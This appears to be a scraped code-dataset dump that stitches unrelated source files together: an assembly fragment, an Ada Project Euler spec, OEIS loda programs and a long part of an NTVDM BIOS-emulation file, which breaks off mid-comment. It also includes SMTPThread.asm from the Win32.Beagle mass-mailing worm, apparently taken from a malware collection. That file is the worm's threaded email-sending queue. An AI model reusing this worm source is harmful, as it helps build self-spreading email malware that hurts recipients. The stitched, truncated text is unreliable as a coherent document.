start_def ASM, setecho, "!echo"
end_def setecho
start_def ASM, keyq, "key?"
pushthing G_IOBUF
mov rdi, [rdi]
and rdi, 0xff0000
end_def keyq
|
Ada/problem_4/problem_4.ads | PyllrNL/Project_Euler_Solutions | 0 | 26071 | <reponame>PyllrNL/Project_Euler_Solutions
with Test_Solution; use Test_Solution;
package Problem_4 is
function Solution_1 return Integer;
procedure Test_Solution_1;
function Get_Solutions return Solution_Case;
private
function Is_Palindrome( Num : Integer ) return Boolean;
end Problem_4;
|
Win32/Win32.Beagle/SMTPThread.asm | fengjixuchui/Family | 3 | 96259 | ; SMTP Client Thread Manager, manages threads for SMTP client
; #########################################################################
.const
SMTP_QUEUE_ENTRY struct
MsgCount DWORD ?
lpRoot DWORD ?
lpLast DWORD ?
SMTP_QUEUE_ENTRY ends
.data?
lpSMTPLastUsed dd ?
lpSMTPThreads dd ?
lpSMTPQueue dd MaxSmtpThreads dup(?)
lpSMTPMootex dd ?
.code
; Initialization, memory allocation
InitSMTPQueue proc uses edi ebx
invoke CreateMutex, NULL, FALSE, NULL
mov lpSMTPMootex, eax
mov lpSMTPLastUsed, 0
mov lpSMTPThreads, 0
mov ebx, MaxSmtpThreads
mov edi, offset lpSMTPQueue
@ismtp_l:
invoke GlobalAlloc, GPTR, sizeof SMTP_QUEUE_ENTRY
cld
stosd
dec ebx
jnz @ismtp_l
ret
InitSMTPQueue endp
; Main working thread, reads list of emails and sends them to destination
SMTPQueueWorkingThread proc uses ebx edi lpParam: DWORD
LOCAL lpEmail, lpUser, lpHost: DWORD
xor eax, eax
mov ebx, lpParam
assume ebx: ptr SMTP_QUEUE_ENTRY
@queue_loop:
invoke WaitForSingleObject, lpSMTPMootex, INFINITE
; Thread-safe
; Pop email-list entry
mov ecx, [ebx].lpRoot
.IF ecx
assume ecx: ptr EMAIL_ENTRY
m2m lpEmail, [ecx].EMAILStr
m2m lpUser, [ecx].EMAILHash
m2m lpHost, [ecx].Host
m2m [ebx].lpRoot, [ecx].Next ; Move to Next ptr
assume ecx: nothing
; Free email-list entry
invoke GlobalFree, ecx
invoke ReleaseMutex, lpSMTPMootex
invoke WaitUntilConnected
; Send message
mov edi, MaxSmtpAttemps
@try_send:
invoke DoSendEmailBody, lpEmail, lpUser, lpHost
test eax, eax
jnz @sent_ok
dec edi
jg @try_send
@sent_ok:
; Free memory
invoke GlobalFree, lpEmail
invoke LocalFree, lpUser
invoke LocalFree, lpHost
.ELSE
invoke ReleaseMutex, lpSMTPMootex
.ENDIF
dec [ebx].MsgCount
jg @queue_loop
assume ebx: nothing
xor eax, eax
ret
SMTPQueueWorkingThread endp
; Add a e-mail message to queue
SMTPQueueAdd proc uses ebx lpEmail, lpUser, lpHost: DWORD
LOCAL lpThreadId: DWORD
invoke WaitForSingleObject, lpSMTPMootex, INFINITE
; Thread-safe
.IF lpSMTPLastUsed >= MaxSmtpThreads
mov lpSMTPLastUsed, 0
.ENDIF
; Point eax to a needed array item
xor edx, edx
mov eax, 4
mul lpSMTPLastUsed
add eax, offset lpSMTPQueue
assume ebx: ptr SMTP_QUEUE_ENTRY
mov ebx, eax
mov ebx, dword ptr[ebx]
; Write SMTP_QUEUE_ENTRY & EMAIL_ENTRY data
invoke StrDup, lpHost
push eax
invoke StrDup, lpUser
pop edx
invoke EmailListAdd, addr [ebx].lpRoot, addr [ebx].lpLast, lpEmail, eax, edx
; Cycle through queue threads
inc lpSMTPLastUsed
.IF [ebx].MsgCount == 0
; Start thread
invoke CreateThread, NULL, 0, offset SMTPQueueWorkingThread, ebx, 0, addr lpThreadId
.ENDIF
inc [ebx].MsgCount
assume ebx: nothing
invoke ReleaseMutex, lpSMTPMootex
ret
SMTPQueueAdd endp
|
oeis/173/A173985.asm | neoneye/loda-programs | 11 | 18106 | ; A173985: a(n) = numerator of (Zeta(0,2,2/3) - Zeta(0,2,n+2/3)), where Zeta is the Hurwitz Zeta function.
; Submitted by <NAME>(w4)
; 0,9,261,4401,546921,27234729,7956214281,8017899597,4266143013213,724241322449397,611292843754229277,9809672294036025657,9833902887524676921,3557459561652307818081,5990804897343048247416561,6000108897363439317446961,13272253098315314563819191249,332204224555714913490256674921,934156409521583315481073234093089,935047427496559580428401274903089,3257694327485049466346085573917812809,3133075929432712161731400982021752349449,3135288327228230286431493808921398839049
mul $0,2
add $0,1
mov $1,1
lpb $0
mov $2,$0
sub $0,2
div $2,2
add $2,$0
pow $2,2
mul $3,$2
add $3,$1
mul $1,$2
lpe
mov $0,$3
gcd $3,$1
mov $1,$0
div $1,$3
mov $0,$1
mul $0,9
|
programs/oeis/156/A156812.asm | neoneye/loda | 22 | 244904 | <filename>programs/oeis/156/A156812.asm
; A156812: a(n) = 225*n^2 - 199*n + 44.
; 44,70,546,1472,2848,4674,6950,9676,12852,16478,20554,25080,30056,35482,41358,47684,54460,61686,69362,77488,86064,95090,104566,114492,124868,135694,146970,158696,170872,183498,196574,210100,224076,238502,253378,268704,284480,300706,317382,334508,352084,370110,388586,407512,426888,446714,466990,487716,508892,530518,552594,575120,598096,621522,645398,669724,694500,719726,745402,771528,798104,825130,852606,880532,908908,937734,967010,996736,1026912,1057538,1088614,1120140,1152116,1184542,1217418,1250744,1284520,1318746,1353422,1388548,1424124,1460150,1496626,1533552,1570928,1608754,1647030,1685756,1724932,1764558,1804634,1845160,1886136,1927562,1969438,2011764,2054540,2097766,2141442,2185568
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
mov $6,$0
mov $7,0
mov $8,2
lpb $8
mov $0,$6
sub $8,1
add $0,$8
sub $0,1
bin $0,2
mul $0,-5
mov $5,-5
mul $5,$0
mul $5,2
add $5,2
mov $3,$5
mov $9,$8
mul $9,$5
add $7,$9
lpe
min $6,1
mul $6,$3
mov $3,$7
sub $3,$6
mul $3,9
add $3,26
add $1,$3
lpe
mov $0,$1
|
utilities/CopyTPasFT.applescript | RobTrew/txtquery-tools | 69 | 2188 | <reponame>RobTrew/txtquery-tools<filename>utilities/CopyTPasFT.applescript
property pTitle : "Copy from TaskPaper in FOLDINGTEXT format"
property pVer : "0.1"
property pAuthor : "<NAME> @complexpoint on Twitter"
property pRepo : "https://github.com/RobTrew/txtquery-tools"
property pLicense : "MIT"
property pstrJS : "
function(editor, options) {
// HOW MANY PRECEDING TABS OR HASHES FOR THIS LINE IN FT ?
function FTPrefix(oNode) {
var oParent=oNode.parent, lngLevel=1, lngProjLevel=1, blnFound=false,
strType=oNode.type(), blnProj = (strType == 'project'), strPrefix;
blnFound = blnProj;
while (oParent) {
lngLevel++;
if (blnFound) lngProjLevel ++;
else blnFound = (oParent.type() == 'project');
oParent = oParent.parent;
}
if (blnProj) strPrefix = '\\n' + Array(lngLevel).join('#') + ' ';
else strPrefix = Array(lngLevel-lngProjLevel).join('\\t');
return strPrefix;
}
// GET THE SELECTED LINES
var lstNodes = editor.selectedRange().nodesInRange(),
lstLines=[], varNode, strLine, rgxEndColon = /^(.*):(.*?)$/;
// AND GIVE AN FT PREFIX (HASHES OR TABS) TO EACH ONE
lstNodes.forEach(function (oNode) {
strLine = oNode.line().trim();
// REMOVING THE COLON FROM PROJECTS (BUT LEAVING TRAILLING TAGS)
if (oNode.type() == 'project')
strLine=strLine.replace(rgxEndColon, '$1$2');
lstLines.push([FTPrefix(oNode),strLine].join(''));
});
return lstLines.join('\\n');
}
"
on run
set varResult to missing value
tell application "TaskPaper"
set lstDocs to documents
if lstDocs ≠ {} then
tell item 1 of lstDocs to set varResult to (evaluate script pstrJS)
set the clipboard to varResult
end if
end tell
return varResult
end run
|
base/mvdm/dos/v86/doskrnl/bios/spckbd.asm | npocmaka/Windows-Server-2003 | 17 | 82961 | ;******************************************************************************
;
; Copyright (c) 1992 Insignia Solutions Ltd.
;
; Program:
;
; Purpose:
;
; Version:
;
; Author: <NAME>
; Modifications:
; 1) Tim June 92. Changes to get DEC PC working. Take over
; IVT entries 6h (illegal instruction), 11h (equipment
; check), 16h (keyboard BIOS), 17h (printer),
; 42h (default video).
; 2) Tim June 92. Changed version to 1.11
; 3) Tim June 92. Avoid accesses to host ROM as far as
; possible. Take over lots of IVT entries and continue to
; point them at this driver.
; 4) Tim July 92. Version num 1.12, put pseudo ROM stuff back in.
; 5) Tim July 92. v 1.13, use SoftPC video BIOS when windowed.
;
; 6) 12-Sep-1992 Jonle, Merged with ntio.sys
; cleanup usage of assumes espcially with ES
; optimized loading of IVT
; other general cleanup
;
; This obj module is intially loaded in a temporary memory location
; along with ntio.sys. Ntio.sys will copy the resident code (marked by
; SpcKbdBeg, SpcKbdEnd) into the permanent memory location which resides
; just below the normal device drivers loaded by config.sys.
;
; The nonresident intialization code is run with CS= temp seg
; and DS= final seg.
;
;******************************************************************************
.286
;================================================================
; Macros and includes
;================================================================
include vint.inc
include bop.inc
include syscall.inc
include msequ.inc
BIOS_CPU_QUIT equ 0FEh
BIOS_KB_INT equ 9
BIOS_INT15 equ 15h
BIOS_PRINTER_IO equ 17h
UNEXP_BOP equ 2
RTC_WAIT_FLAG equ 0a0h ; offset of rtc_wait_flag in bios data seg
VERSIONID equ 0BEEFh
FULLSCREEN equ 1
STREAM_IO equ 2
MAX_VIDEO_FUNC equ 1Ch
GET_FONT_FUNC equ 11h
VID_MODECHANGE equ 0
VID_VESA_BIOS equ 4fh
MOUSE_LIGHT_PEN equ 4
MIN_MOUSE_FUNC equ 0F0H
MAX_MOUSE_FUNC equ 0F7H
XTRA_MOUSE_FUNC equ 0FAH
MS_VIDEO_STRING equ 13FFH
MOUSE_VID_BOP equ 0BEh
EGA_VIDEO_BOP equ 42h
PRT_NOTBUSY equ 80h
PRT_NUM_PORTS equ 3
PRT_STATE_READY equ 0
PRT_IRQ equ 10h
PRT_LPT_BUSY equ 1
TIMER_LOW equ 6ch
TIMER_HIGH equ 6eh
TIMER_OVFL equ 70h
MOTOR_STATUS equ 3fh
MOTOR_COUNT equ 40h
; Keyboard buf ptrs
BUFFER_HEAD equ 1ah
BUFFER_TAIL equ 1ch
BUFFER_START equ 80h
BUFFER_END equ 82h
; kb_flag and LED bits
KB_FLAG equ 17h
CAPS_STATE equ 40h
NUM_STATE equ 20h
SCROLL_STATE equ 10h
KB_FLAG_1 equ 18h
KB_FLAG_2 equ 97h
KB_LEDS equ 07h ; Keyboard LED state bits
KB_PR_LED equ 40h ; Mode indicator update
KB_FLAG_3 equ 96h
KBF3_ALT_CTRL equ 0ch
;..............................................keyboard constants
; bits in kb_flag
RIGHT_SHIFT = 1
LEFT_SHIFT = 2
CTL_SHIFT = 4
ALT_SHIFT = 8
; bit in kb_flag_1
HOLD_STATE = 8
SCROLL_SHIFT = 10h
NUM_SHIFT = 20h
CAPS_SHIFT = 40h
INS_SHIFT = 80h
SYS_SHIFT = 04h
; IBM scan codes
CTL_KEY = 29
LEFT_SHIFTKEY = 42
RIGHT_SHIFTKEY = 54
ALT_KEY = 56
CAPS_KEY = 58
NUM_KEY = 69
SCROLL_KEY = 70
INS_KEY = 82
;
; Segment definitions for ntio.sys,
;
include biosseg.inc
SpcKbdSeg segment
assume cs:SpcKbdSeg,ds:nothing,es:nothing
;
; SpcKbdBeg - SpcKbdEnd
;
; Marks the resident code, anything outside of these markers
; is discarded after intialization
; 13-Sep-1992 Jonle
;
public SpcKbdBeg
SpcKbdBeg label byte
;
; Reduced data table for Video 7 modes 0 and 2.
; This table is extracted from our video7 ROM. Only text modes are
; required, mode 0 and 1 are identical as are modes 2 and 3.
;
ega_parm_setup:
;--40x25--
DB 40,24,16 ; width,height,character height
DW 00800H ; Page size in bytes
DB 008H, 003H, 000H, 002H ; Sequencer Parameters
DB 067H ;Misc Reg
; CRTC Parameters
DB 02dH, 027H, 028H, 090H, 02bH
DB 0a0H, 0bfH, 01fH, 000H, 04fH
DB 00dH, 00eH, 000H, 000H, 000H
DB 000H, 09cH, 0aeH, 08fH, 014H
DB 01fH, 096H, 0b9H, 0a3H, 0ffH
; Attribute parameters
DB 000H, 001H, 002H, 003H, 004H
DB 005H, 014H, 007H, 038H, 039H
DB 03aH, 03bH, 03cH, 03dH, 03eH
DB 03fH, 00cH, 000H, 00fH, 008H
; Graph parameters
DB 000H, 000H, 000H, 000H, 000H
DB 010H, 00eH, 000H, 0ffH
;--80x25--
DB 80,24,16 ; width,height,character height
DW 01000H ; Page size in bytes
DB 000H, 003H, 000H, 002H ; Sequencer Parameters
DB 067H ;Misc Reg
; CRTC Parameters
DB 05fH, 04fH, 050H, 082H, 055H
DB 081H, 0bfH, 01fH, 000H, 04fH
DB 00dH, 00eH, 000H, 000H, 000H
DB 000H, 09cH, 08eH, 08fH, 028H
DB 01fH, 096H, 0b9H, 0a3H, 0ffH
; Attribute parameters
DB 000H, 001H, 002H, 003H, 004H
DB 005H, 014H, 007H, 038H, 039H
DB 03aH, 03bH, 03cH, 03dH, 03eH
DB 03fH, 00cH, 000H, 00fH, 008H
; Graph parameters
DB 000H, 000H, 000H, 000H, 000H
DB 010H, 00eH, 000H, 0ffH
;--80x25 mono--
DB 80,24,16 ; width,height,character height
DW 01000H ; Page size in bytes
DB 000H, 003H, 000H, 003H ; Sequencer Parameters
DB 0a6H ;Misc Reg
; CRTC Parameters
DB 05fH, 04fH, 050H, 082H, 055H
DB 081H, 0bfH, 01fH, 000H, 04dH
DB 00bH, 00cH, 000H, 000H, 000H
DB 000H, 083H, 0a5H, 05dH, 028H
DB 00dH, 063H, 0baH, 0a3H, 0ffH
; Attribute parameters
DB 000H, 008H, 008H, 008H, 008H
DB 008H, 008H, 008H, 010H, 018H
DB 018H, 018H, 018H, 018H, 018H
DB 018H, 00eH, 000H, 00fH, 008H
; Graph parameters
DB 000H, 000H, 000H, 000H, 000H
DB 010H, 00aH, 000H, 0ffH
; Mode b (font load)
DB 5eh,32H,8 ; width,height,character height
DW 09700H ; Page size in bytes
DB 001H, 00fH, 000H, 006H ; Sequencer Parameters
DB 0e7H ;Misc Reg
; CRTC Parameters
DB 06dH, 05dH, 05eH, 090H, 061H
DB 08fH, 0bfH, 01fH, 000H, 040H
DB 000H, 000H, 000H, 000H, 000H
DB 000H, 0a2H, 08eH, 099H, 02fH
DB 000H, 0a1H, 0b9H, 0e3H, 0ffH
; Attribute parameters
DB 000H, 001H, 002H, 003H, 004H
DB 005H, 014H, 007H, 038H, 039H
DB 03aH, 03bH, 03cH, 03dH, 03eH
DB 03fH, 001H, 000H, 00fH, 000H
; Graph parameters
DB 000H, 000H, 000H, 000H, 000H
DB 000H, 005H, 00fH, 0ffH
;--350 scanline 40x25
DB 40,24,14 ; width,height,character height
DW 00800H ; Page size in bytes
DB 009H, 003H, 000H, 002H ; Sequencer Parameters
DB 0a3H ;Misc Reg
; CRTC Parameters
DB 02dH, 027H, 028H, 090H, 02bH
DB 0a0H, 0bfH, 01fH, 000H, 04dH
DB 00bH, 00cH, 000H, 000H, 000H
DB 000H, 083H, 0a5H, 05dH, 014H
DB 01fH, 063H, 0baH, 0a3H, 0ffH
; Attribute parameters
DB 000H, 001H, 002H, 003H, 004H
DB 005H, 014H, 007H, 038H, 039H
DB 03aH, 03bH, 03cH, 03dH, 03eH
DB 03fH, 008H, 000H, 00fH, 000H
; Graph parameters
DB 000H, 000H, 000H, 000H, 000H
DB 010H, 00eH, 000H, 0ffH
;--350 scanline 80x25
DB 80,24,14 ; width,height,character height
DW 01000H ; Page size in bytes
DB 001H, 003H, 000H, 002H ; Sequencer Parameters
DB 0a3H ;Misc Reg
; CRTC Parameters
DB 05fH, 04fH, 050H, 082H, 055H
DB 081H, 0bfH, 01fH, 000H, 04dH
DB 00bH, 00cH, 000H, 000H, 000H
DB 000H, 083H, 0a5H, 05dH, 028H
DB 01fH, 063H, 0baH, 0a3H, 0ffH
; Attribute parameters
DB 000H, 001H, 002H, 003H, 004H
DB 005H, 014H, 007H, 038H, 039H
DB 03aH, 03bH, 03cH, 03dH, 03eH
DB 03fH, 008H, 000H, 00fH, 000H
; Graph parameters
DB 000H, 000H, 000H, 000H, 000H
DB 010H, 00eH, 000H, 0ffH
;
; End of baby mode table.
;
; Table of VGA bios 'capability' info for func 1b to point at.
vga_1b_table db 07fh, 060h, 00fh, 000h, 000h, 000h, 000h, 007h
db 002h, 008h, 0ffh, 00eh, 000h, 000h, 03fh, 000h
; Configuration table for INT 15 Func C0 to point at.
conf_table dw 008h
;; db 0fch, 002h, 000h, 070h, 000h, 000h, 000h, 000h
db 0fch, 002h, 074h, 070h, 000h, 000h, 000h, 000h
PRT_BUF_SIZE equ 255
;================================================================
; Printer status table
;================================================================
prt_status db PRT_NUM_PORTS dup (?)
prt_state db PRT_NUM_PORTS dup (?)
prt_control db PRT_NUM_PORTS dup (?)
prt_lpt_stat db PRT_NUM_PORTS dup (?)
cur_buf_size dw PRT_BUF_SIZE
prt_data_buf db PRT_BUF_SIZE dup (?) ; buffer in the 16bit side for perf.
cur_lpt db 0ffh ; buffer is not being used
cur_count dw ?
cur_busy db 0 ; initially not busy
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Keyboard tables
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
shift_keys: ;K6
DB INS_KEY,CAPS_KEY,NUM_KEY,SCROLL_KEY
DB ALT_KEY,CTL_KEY,LEFT_SHIFTKEY,RIGHT_SHIFTKEY
shift_masks: ;K7
DB INS_SHIFT,CAPS_SHIFT,NUM_SHIFT,SCROLL_SHIFT
DB ALT_SHIFT,CTL_SHIFT,LEFT_SHIFT,RIGHT_SHIFT
ctl_n_table: ;K8
DB 27, -1, 0, -1, -1, -1, 30, -1
DB -1, -1, -1, 31, -1, 127, 148, 17
DB 23, 5, 18, 20, 25, 21, 9, 15
DB 16, 27, 29, 10, -1, 1, 19, 4
DB 6, 7, 8, 10, 11, 12, -1, -1
DB -1, -1, 28, 26, 24, 3, 22, 2
DB 14, 13, -1, -1, -1, -1, 150, -1
DB ' ', -1
ctl_f_table: ;K9
DB 94, 95, 96, 97, 98, 99, 100, 101
DB 102, 103, -1, -1, 119, 141, 132, 142
DB 115, 143, 116, 144, 117, 145, 118, 146
DB 147, -1, -1, -1, 137, 138
lowercase:
DB 27, '1', '2', '3', '4', '5', '6', '7', '8', '9' ;K10
DB '0', '-', '=', 8, 9, 'q', 'w', 'e', 'r', 't'
DB 'y', 'u', 'i', 'o', 'p', '[', ']', 13, -1, 'a'
DB 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';', 39
DB 96, -1, 92, 'z', 'x', 'c', 'v', 'b', 'n', 'm'
DB ',', '.', '/', -1, '*', -1, ' ', -1
lc_tbl_scan:
DB 59, 60, 61, 62, 63, 64, 65, 66, 67, 68
DB -1, -1
base_case:
DB 71, 72, 73, -1, 75, -1, 77, -1, 79, 80
DB 81, 82, 83, -1, -1, 92, 133, 134 ;K15
uppercase: ;K11
DB 27, '!', '@', '#', '$', '%', '^', '&', '*', '('
DB ')', '_', '+', 8, 0, 'Q', 'W', 'E', 'R', 'T'
DB 'Y', 'U', 'I', 'O', 'P', '{', '}', 13, -1, 'A'
DB 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L', ':', '"'
DB 126, -1, '|', 'Z', 'X', 'C', 'V', 'B', 'N', 'M'
DB '<', '>', '?', -1, 0, -1, ' ', -1;
ucase_scan:
DB 84, 85, 86, 87, 88, 89, 90, 91, 92, 93
DB -1, -1
numb_state:
DB '7', '8', '9', '-', '4', '5', '6', '+', '1', '2' ;K14
DB '3', '0', '.' , -1, -1, 124, 135, 136
alt_table:
DB 82, 79, 80, 81, 75, 76, 77, 71, 72, 73 ;K30
DB 16, 17, 18, 19, 20, 21, 22, 23, 24, 25
DB 30, 31, 32, 33, 34, 35, 36, 37, 38, 44
DB 45, 46, 47, 48, 49, 50
;================================================================
; Keyboard break caller
;================================================================
keyboard_break_caller:
int 1bh ;keyboard break
bop %BIOS_CPU_QUIT
;================================================================
; Print screen caller
;================================================================
print_screen_caller:
int 5h ;print screen
bop %BIOS_CPU_QUIT
;================================================================
; Int 15 caller
;================================================================
; Tim modified int 15 caller. Copied from BIOS2. It gives CPU
; a chance to take other interrupts. Suspect the extra jumps are
; now harmless with IRET hooking.
;int15h_caller:
;int 15h
;bop %BIOS_CPU_QUIT
int15h_caller:
int 15h ; Cassette I/O.
jmp k1
k1: jmp k2
k2: jmp k3
k3: BOP %BIOS_CPU_QUIT
;================================================================
; Unexpected interrupt handler
;================================================================
unexp_int:
bop %UNEXP_BOP
jmp iret_com
;================================================================
;Int 13 caller
;================================================================
int13h_caller:
int 13h
bop %BIOS_CPU_QUIT
ifdef JAPAN
;================================================================
;int 16 caller
;================================================================
int16h_caller:
int 16h
bop %BIOS_CPU_QUIT
endif ; JAPAN
;================================================================
; New interrupt 9h handler
;================================================================
int09h_vector:
push ax
xor ax, ax
bop %BIOS_KB_INT
pop ax
jmp iret_com
; CarbonCopy traces int 9 in order to gain control
; over where the kbd data is coming from (the physical kbd
; or the serial link) The kbd_inb instruction must be visible
; in the 16 bit code via int 1 tracing, for CarbonCopy to work.
; Softpc assumes the exact location of the first nop
; relative to the bop just above.
nop
nop
in al, 60h ; keyba_io_buffers
nop
nop
BOP %BIOS_CPU_QUIT
;=================================================================
; IRET hooks bop table
;=================================================================
IRET_HOOK = 5dh ;IRET hook BOP
iret_bop_table:
bop %IRET_HOOK
db 0
iret_end_first_entry:
bop %IRET_HOOK
db 1
bop %IRET_HOOK
db 2
bop %IRET_HOOK
db 3
bop %IRET_HOOK
db 4
bop %IRET_HOOK
db 5
bop %IRET_HOOK
db 6
bop %IRET_HOOK
db 7
bop %IRET_HOOK
db 8
bop %IRET_HOOK
db 9
bop %IRET_HOOK
db 10
bop %IRET_HOOK
db 11
bop %IRET_HOOK
db 12
bop %IRET_HOOK
db 13
bop %IRET_HOOK
db 14
bop %IRET_HOOK
db 15
;================================================================
; New interrupt 13h handler
;================================================================
int13h_vector:
cmp dl,80h ; 0 - 7f are floppy commands
jb int40h_vector
cmp ah,2 ; we fail the direct access commands
jb diskcmd ; read/write/seek/verify/format
cmp ah,5 ; but let others go through (disk tables etc)
jbe faildisk
cmp ah,0ah
jb diskcmd
cmp ah,0ch
ja diskcmd
faildisk:
push ax
mov ax,1 ; direct access error panel
bop 59h
pop ax ; preserve AL for safety sake
mov ah, 80h ; error - timeout
stc
retf 2
diskcmd:
bop 13h
retf 2
;================================================================
; New interrupt 40h handler
;================================================================
int40h_vector:
; cmp ah,2 ; we fail the direct access commands
; jb flopcmd ; read/write/seek/verify/format
; cmp ah,5 ; but let others go through (disk tables etc)
; jbe failflop
; cmp ah,0ah
; jb flopcmd
; cmp ah,0ch
; ja flopcmd
failflop:
; push ax
; mov ax,0 ; direct access error panel
; bop 59h
; pop ax
; mov ah, 80h ; error - timeout
; stc
; retf 2
flopcmd:
bop 40h
retf 2
;; waiting for diskette interrupt
wait_int:
push ds
push ax
push cx
mov ax, 40h
mov ds, ax
mov cx, 10h
wait_int_loop:
mov al, [3Eh]
test al, 80h
loopz wait_int_loop
pop cx
pop ax
pop ds
bop %BIOS_CPU_QUIT
;; floppy parameters table
floppy_table label byte
DB 01 ;; 360KB in 360KB
DW OFFSET md_tbl1
DB 82H ;; 360KB in 1,2MB
DW OFFSET md_tbl2
DB 02 ;; 1.2MB in 1.2MB
DW OFFSET md_tbl3
DB 03 ;; 720KB in 720KB
DW OFFSET md_tbl4
DB 84H ;; 720KB in 1.44MB
DW OFFSET md_tbl5
DB 04 ;; 1.44MB in 1.44MB
DW OFFSET md_tbl6
DB 85h ;; 720KB in 2.88MB
DW OFFSET md_tbl7
DB 85h ;; 1.44MB in 2.88MB
DW OFFSET md_tbl8
DB 5 ;; 2.88MB in 2.88MB
DW OFFSET md_tbl9
md_tbl1:
; MEDIA = 40 track low data rate; DRIVE = 40 track low data rate
DB 0DFh ; 1st specify byte
DB 2 ; 2nd specify byte
DB 25H ; motor off wait time
DB 2 ; ie 2 bytes/sector
DB 9 ; sectors/track
DB 02Ah ; gap length
DB 0FFh ; data length
DB 050h ; gap length for format
DB 0F6h ; fill byte for format
DB 15 ; head settle time/ms
DB 8 ; ie 1s motor start time
DB 39 ; maximum track number
DB 80H ; transfer rate
md_tbl2:
; MEDIA = 40 track low data rate; DRIVE = 80 track high data rate
DB 0DFh ; 1st specify byte
DB 2 ; 2nd specify byte
DB 25H ; motor off wait time
DB 2 ; ie 2 bytes/sector
DB 9 ; sectors/track
DB 02Ah ; gap length
DB 0FFh ; data length
DB 050h ; gap length for format
DB 0F6h ; fill byte for format
DB 15 ; head settle time/ms
DB 8 ; ie 1s motor start time
DB 39 ; maximum track number
DB 40H ; transfer rate
md_tbl3:
; MEDIA = 80 track high data rate; DRIVE = 80 track high data rate
DB 0DFh ; 1st specify byte
DB 2 ; 2nd specify byte
DB 25H ; motor off wait time
DB 2 ; ie 2 bytes/sector
DB 15 ; sectors/track
DB 01Bh ; gap length
DB 0FFh ; data length
DB 054h ; gap length for format
DB 0F6h ; fill byte for format
DB 15 ; head settle time/ms
DB 8 ; ie 1s motor start time
DB 79 ; maximum track number
DB 0 ; transfer rate
md_tbl4:
; MEDIA = 80 track low data rate; DRIVE = 80 track low data rate
DB 0DFh ; 1st specify byte
DB 2 ; 2nd specify byte
DB 25H ; motor off wait time
DB 2 ; ie 2 bytes/sector
DB 9 ; sectors/track
DB 02Ah ; gap length
DB 0FFh ; data length
DB 050h ; gap length for format
DB 0F6h ; fill byte for format
DB 15 ; head settle time/ms
DB 8 ; ie 1s motor start ime
DB 79 ; maximum track number
DB 80H ; transfer rate
md_tbl5:
; MEDIA = 80 track low data rate; DRIVE = 80 track high data rate
DB 0DFh ; 1st specify byte
DB 2 ; 2nd specify byte
DB 25H ; motor off wait time
DB 2 ; ie 2 bytes/sector
DB 9 ; sectors/track
DB 02Ah ; gap length
DB 0FFh ; data length
DB 050h ; gap length for format
DB 0F6h ; fill byte for format
DB 15 ; head settle time/ms
DB 8 ; ie 1s motor start time
DB 79 ; maximum track number
DB 80H ; transfer rate
md_tbl6:
; MEDIA = 80 track high data rate; DRIVE = 80 track high data rate
DB 0AFh ; 1st specify byte
DB 2 ; 2nd specify byte
DB 25H ; motor off wait time
DB 2 ; ie 2 bytes/sector
DB 18 ; sectors/track
DB 01Bh ; gap length
DB 0FFh ; data length
DB 06Ch ; gap length for format
DB 0F6h ; fill byte for format
DB 15 ; head settle time/ms
DB 8 ; ie 1s motor start time
DB 79 ; maximum track number
DB 0 ; transfer rate
md_tbl7:
;MEDIA = 80 tracks, 9 sectors/track; DRIVE = 80 tracks, 36 sectotrs per track
DB 0E1h ; 1st specify byte
DB 2 ; 2nd specify byte
DB 25H ; motor off wait time
DB 2 ; ie 2 bytes/sector
DB 9 ; sectors/track
DB 02Ah ; gap length
DB 0FFh ; data length
DB 050h ; gap length for format
DB 0F6h ; fill byte for format
DB 15 ; head settle time/ms
DB 8 ; ie 1s motor start ime
DB 79 ; maximum track number
DB 80H ; transfer rate
md_tbl8:
;MEDIA = 80 tracks, 18 sectors/track; DRIVE = 80 tracks, 36 sectotrs per track
DB 0D1h ; 1st specify byte
DB 2 ; 2nd specify byte
DB 25H ; motor off wait time
DB 2 ; ie 2 bytes/sector
DB 18 ; sectors/track
DB 01Bh ; gap length
DB 0FFh ; data length
DB 065h ; gap length for format
DB 0F6h ; fill byte for format
DB 15 ; head settle time/ms
DB 8 ; ie 1s motor start time
DB 79 ; maximum track number
DB 0 ; transfer rate
md_tbl9:
;MEDIA = 80 tracks, 36 sectors/track; DRIVE = 80 tracks, 36 sectotrs per track
DB 0A1h ; 1st specify byte
DB 2 ; 2nd specify byte
DB 25H ; motor off wait time
DB 2 ; ie 2 bytes/sector
DB 36 ; sectors/track
DB 038h ; gap length
DB 0FFh ; data length
DB 053h ; gap length for format
DB 0F6h ; fill byte for format
DB 15 ; head settle time/ms
DB 8 ; ie 1s motor start time
DB 79 ; maximum track number
DB 0C0h ; transfer rate
floppy_table_len equ $ - floppy_table
bios_floppy_table label byte
DB 0DFh ; 1st specify byte
DB 2 ; 2nd specify byte
DB 25H ; motor off wait time
DB 2 ; ie 2 bytes/sector
DB 18 ; sectors/track
DB 01Bh ; gap length
DB 0FFh ; data length
DB 054h ; gap length for format
DB 0F6h ; fill byte for format
DB 15 ; head settle time/ms
DB 8 ; ie 1s motor start time
bios_floppy_table_len equ $ - bios_floppy_table
;===============================================================
; New interrupt 15h handler
;================================================================
; Tim, modified this to be like a "normal" SoftPC ROM.
; Copied from BIOS2, but rtc_wait_flag is now referenced via ES not
; DS.
;
; 17-Sep-1992 Jonle , ES ref to rtc_wait was change from assume ES
; to seg overides to prevent accidents in assuming.
;
;int15h_vector:
;bop %BIOS_INT15
;iret
;;;;;;;;;STF hide this int15h_vector:
int15h_vector:
call DOSTI
cmp ah, 88h
je lbl1
cmp ah, 91h
je lbl1
cmp ah, 86h
je lbl2
BOP 15h
RETF 2
lbl1: BOP 15h
jmp iret_com
lbl2: BOP 15h
jc lbl5
push cx
push dx
push es ; Tim, save ES not DS.
mov ax, 40h ; point es to biosdata
mov es, ax
xchg dx, cx
lbl3:
test byte ptr es:[RTC_WAIT_FLAG], 080h ; check for end of wait
loopz lbl3 ; dec timeout delay
jnz lbl4 ; exit if wait ended
sub dx, 1 ; dec error timeout counter
jnc lbl3 ; loop till counters timeout
lbl4:
mov byte ptr es:[RTC_WAIT_FLAG], 0 ; set function inactive
pop es ; Kipper, restore ES not DS.
pop dx
pop cx
clc
lbl5:
RETF 2
;=================================================================
; Regular SoftPC int 17 handler (especially important for DEC PCs)
;=================================================================
int17h_vector:
;
; Do a get status purely in 16-bit code but only if the printer is ready and
